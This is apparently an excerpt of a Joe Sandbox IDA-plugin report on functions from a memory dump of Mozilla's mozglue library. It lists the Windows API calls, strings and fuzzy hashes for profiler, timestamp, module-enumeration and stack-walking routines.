free.MOZGLUE(00000000), ref: 6CAAEC5C

Strings

[I %d/%d] profiler_start, xrefs: 6CAAEBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CAAEA9B

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 7cfaedeba0451fe6629392f0d61fca25310ef043f9ee08deb73079b11c732147
Instruction ID: e6ec486ea2cd3d71280ba1de068dc79d745762ed5fd79617bbdff6f7d7c7e06d
Opcode Fuzzy Hash: 7cfaedeba0451fe6629392f0d61fca25310ef043f9ee08deb73079b11c732147
Instruction Fuzzy Hash: AFA167317017058FDB049FA8E848BA677B5FF8A308F14812DE91987B50DB31989BDBE1

Function 6CAAF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAAF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CAAF8F9

Part of subcall function 6CA76390: GetCurrentThreadId.KERNEL32 ref: 6CA763D0
Part of subcall function 6CA76390: AcquireSRWLockExclusive.KERNEL32 ref: 6CA763DF
Part of subcall function 6CA76390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CA7640E

ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAF93A
GetCurrentThreadId.KERNEL32 ref: 6CAAF98A
GetCurrentThreadId.KERNEL32 ref: 6CAAF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAF716

Part of subcall function 6CAA94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
Part of subcall function 6CAA94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

Part of subcall function 6CA6B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CA6B5E0

GetCurrentThreadId.KERNEL32 ref: 6CAAF739
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAF746
GetCurrentThreadId.KERNEL32 ref: 6CAAF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CAE385B,00000002,?,?,?,?,?), ref: 6CAAF829
free.MOZGLUE(?,?,00000000,?), ref: 6CAAF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CAAF866
free.MOZGLUE(?), ref: 6CAAFA0C

Part of subcall function 6CA75E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA755E1), ref: 6CA75E8C
Part of subcall function 6CA75E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA75E9D
Part of subcall function 6CA75E60: GetCurrentThreadId.KERNEL32 ref: 6CA75EAB
Part of subcall function 6CA75E60: GetCurrentThreadId.KERNEL32 ref: 6CA75EB8
Part of subcall function 6CA75E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA75ECF
Part of subcall function 6CA75E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CA75F27
Part of subcall function 6CA75E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CA75F47
Part of subcall function 6CA75E60: GetCurrentProcess.KERNEL32 ref: 6CA75F53
Part of subcall function 6CA75E60: GetCurrentThread.KERNEL32 ref: 6CA75F5C
Part of subcall function 6CA75E60: GetCurrentProcess.KERNEL32 ref: 6CA75F66
Part of subcall function 6CA75E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CA75F7E

free.MOZGLUE(?), ref: 6CAAF9C5
free.MOZGLUE(?), ref: 6CAAF9DA

Strings

" attempted to re-register as ", xrefs: 6CAAF858
[D %d/%d] profiler_register_thread(%s), xrefs: 6CAAF71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CAAF9A6
Thread , xrefs: 6CAAF789

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: f6db992c2fc80a39413fb048e0ddbf371d24e5c6cb799af4c8e7829cdb2a34ef
Instruction ID: e73361ecbd8f98b3354b3eb6bdc32e64180a42ec7b61a882be8e15e3011d4227
Opcode Fuzzy Hash: f6db992c2fc80a39413fb048e0ddbf371d24e5c6cb799af4c8e7829cdb2a34ef
Instruction Fuzzy Hash: 748106716053009FD714DFA4DD44AAAB7B5FF89308F44851DE8469BB51EB30988ECBE2

Function 6CAAEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAAEE60
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEE6D
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CAAEEA5
CloseHandle.KERNEL32(?), ref: 6CAAEEB4
free.MOZGLUE(00000000), ref: 6CAAEEBB
GetCurrentThreadId.KERNEL32 ref: 6CAAEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAEECF

Part of subcall function 6CAADE60: GetCurrentThreadId.KERNEL32 ref: 6CAADE73
Part of subcall function 6CAADE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CA74A68), ref: 6CAADE7B
Part of subcall function 6CAADE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CA74A68), ref: 6CAADEB8
Part of subcall function 6CAADE60: free.MOZGLUE(00000000,?,6CA74A68), ref: 6CAADEFE
Part of subcall function 6CAADE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CAADF38

Part of subcall function 6CA9CBE8: GetCurrentProcess.KERNEL32(?,6CA631A7), ref: 6CA9CBF1
Part of subcall function 6CA9CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA631A7), ref: 6CA9CBFA

GetCurrentThreadId.KERNEL32 ref: 6CAAEF1E
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEF2B
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEF59
GetCurrentThreadId.KERNEL32 ref: 6CAAEFB0
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEFBD
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEFE1
GetCurrentThreadId.KERNEL32 ref: 6CAAEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAF000

Part of subcall function 6CAA94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
Part of subcall function 6CAA94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CAAF02F

Part of subcall function 6CAAF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAAF09B
Part of subcall function 6CAAF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CAAF0AC
Part of subcall function 6CAAF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CAAF0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6CAAF008
[I %d/%d] profiler_stop, xrefs: 6CAAEED7

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 2b9c7e1e6a9f3b14b86a1fd7a614cfdde834a926bae572b18d6ac6cf6f273a6b
Instruction ID: 64fb7f010774b97e96e1b451fc347869f709ff33e20db716095ee608fb9000e0
Opcode Fuzzy Hash: 2b9c7e1e6a9f3b14b86a1fd7a614cfdde834a926bae572b18d6ac6cf6f273a6b
Instruction Fuzzy Hash: 955148316013029FDB585BA8FC0D7A57BB4EB4E318F14862DE91583B40D772489BE7E6

Function 6CA75E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA75E9D

Part of subcall function 6CA85B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA856EE,?,00000001), ref: 6CA85B85
Part of subcall function 6CA85B50: EnterCriticalSection.KERNEL32(6CAEF688,?,?,?,6CA856EE,?,00000001), ref: 6CA85B90
Part of subcall function 6CA85B50: LeaveCriticalSection.KERNEL32(6CAEF688,?,?,?,6CA856EE,?,00000001), ref: 6CA85BD8
Part of subcall function 6CA85B50: GetTickCount64.KERNEL32 ref: 6CA85BE4

GetCurrentThreadId.KERNEL32 ref: 6CA75EAB
GetCurrentThreadId.KERNEL32 ref: 6CA75EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA75ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CA76017

Part of subcall function 6CA64310: moz_xmalloc.MOZGLUE(00000010,?,6CA642D2), ref: 6CA6436A
Part of subcall function 6CA64310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA642D2), ref: 6CA64387

moz_xmalloc.MOZGLUE(00000004), ref: 6CA75F47
GetCurrentProcess.KERNEL32 ref: 6CA75F53
GetCurrentThread.KERNEL32 ref: 6CA75F5C
GetCurrentProcess.KERNEL32 ref: 6CA75F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CA75F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CA75F27

Part of subcall function 6CA7CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA7CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA755E1), ref: 6CA75E8C

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA755E1), ref: 6CA7605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA755E1), ref: 6CA760CC

Strings

GeckoMain, xrefs: 6CA75ECE, 6CA76015

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 8bead3da9592a00099b137b92da6cc61708deca8a50003c785fae2b96b0fa193
Instruction ID: 52bc7d3d41454546f47034035fff375ce945cd24c8125be7df4a624d5f59eacd
Opcode Fuzzy Hash: 8bead3da9592a00099b137b92da6cc61708deca8a50003c785fae2b96b0fa193
Instruction Fuzzy Hash: 7F7137B4605741CFD714DF28D584A6ABBF0FF4A308F14892DE48687B52D730E989CBA2

Function 6CA79590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA631C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CA63217
Part of subcall function 6CA631C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CA63236
Part of subcall function 6CA631C0: FreeLibrary.KERNEL32 ref: 6CA6324B
Part of subcall function 6CA631C0: __Init_thread_footer.LIBCMT ref: 6CA63260
Part of subcall function 6CA631C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CA6327F
Part of subcall function 6CA631C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA6328E
Part of subcall function 6CA631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA632AB
Part of subcall function 6CA631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA632D1
Part of subcall function 6CA631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA632E5
Part of subcall function 6CA631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA632F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA79675
__Init_thread_footer.LIBCMT ref: 6CA79697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA796E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA79707
__Init_thread_footer.LIBCMT ref: 6CA7971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA79773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA797B7
FreeLibrary.KERNEL32 ref: 6CA797D0
FreeLibrary.KERNEL32 ref: 6CA797EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA79824

Strings

NtMapViewOfSection, xrefs: 6CA79701
ntdll.dll, xrefs: 6CA796E3
MapViewOfFileNuma2, xrefs: 6CA797B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA79670

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: ac1afd3136beafdc097a6f953201ee631958defbca15bd7cf83bc4379aa8e594
Instruction ID: aed25b8c25614024c2c02b7bdf61a6caa50020d89fa157567bc4c59b4b28b33a
Opcode Fuzzy Hash: ac1afd3136beafdc097a6f953201ee631958defbca15bd7cf83bc4379aa8e594
Instruction Fuzzy Hash: 1D61C1756003029BDF148F79ED88A9A3BB5FB4E314F04861EE91587B80E7349885DBE1

Function 6CA77FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CA78007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CA7801D

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CA7802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CA7803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CA7808D

Part of subcall function 6CA7CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA7CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CA7809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CA780B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CA780DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA780ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA780FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA7810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CA78133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CA78149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CA78167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CA7817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA78199

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 4408f8ac0e7be7cb3272b7258123c9f4d3f6cfeb0e3aefac369a376fb791898e
Instruction ID: 360d1d17e49fecfd684444ae392ec8b35b8e260a1be9f7ceeef3af99bfabd0f9
Opcode Fuzzy Hash: 4408f8ac0e7be7cb3272b7258123c9f4d3f6cfeb0e3aefac369a376fb791898e
Instruction Fuzzy Hash: 1A5196B5E002145BDF10DBA5DD84AEFB7B9BF49224F280125E815F7741E730A949CBB1

Function 6CAC6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CAEF618), ref: 6CAC6694
GetThreadId.KERNEL32(?), ref: 6CAC66B1
GetCurrentThreadId.KERNEL32 ref: 6CAC66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CAC66E1
EnterCriticalSection.KERNEL32(6CAEF618), ref: 6CAC6734
GetCurrentProcess.KERNEL32 ref: 6CAC673A
LeaveCriticalSection.KERNEL32(6CAEF618), ref: 6CAC676C
GetCurrentThread.KERNEL32 ref: 6CAC67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CAC6868
RtlCaptureContext.NTDLL ref: 6CAC687F

Strings

WalkStack64, xrefs: 6CAC6890

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: a332a072cfc391eae196ebd549434af1f8c28387f04bf15d94d40c4cdade3124
Instruction ID: 168f60d8aa57bd6eec1cb41a0906c929c23843bc782d1dcc726badeb1818f9d8
Opcode Fuzzy Hash: a332a072cfc391eae196ebd549434af1f8c28387f04bf15d94d40c4cdade3124
Instruction Fuzzy Hash: C351DE71A09302AFDB15CF24C848BAABBF4FF89714F04892DF59987740D770A9598BD2

Function 6CAADE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAADE73
GetCurrentThreadId.KERNEL32 ref: 6CAADF7D
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAADF8A
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAADFC9
GetCurrentThreadId.KERNEL32 ref: 6CAADFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CA74A68), ref: 6CAADE7B

Part of subcall function 6CAA94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
Part of subcall function 6CAA94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

Part of subcall function 6CA9CBE8: GetCurrentProcess.KERNEL32(?,6CA631A7), ref: 6CA9CBF1
Part of subcall function 6CA9CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA631A7), ref: 6CA9CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CA74A68), ref: 6CAADEB8
free.MOZGLUE(00000000,?,6CA74A68), ref: 6CAADEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CAADF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CAAE00E
[I %d/%d] locked_profiler_stop, xrefs: 6CAADE83
<none>, xrefs: 6CAADFD7

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 54b3387b5da094a6a88e9c750eab3e8235b64ac0f449ad39b4b8ffcafa951aa4
Instruction ID: 37cf28c74cec8c2fa8f0502382ed17347396296b81d4193cc7f98e47ec7c8aec
Opcode Fuzzy Hash: 54b3387b5da094a6a88e9c750eab3e8235b64ac0f449ad39b4b8ffcafa951aa4
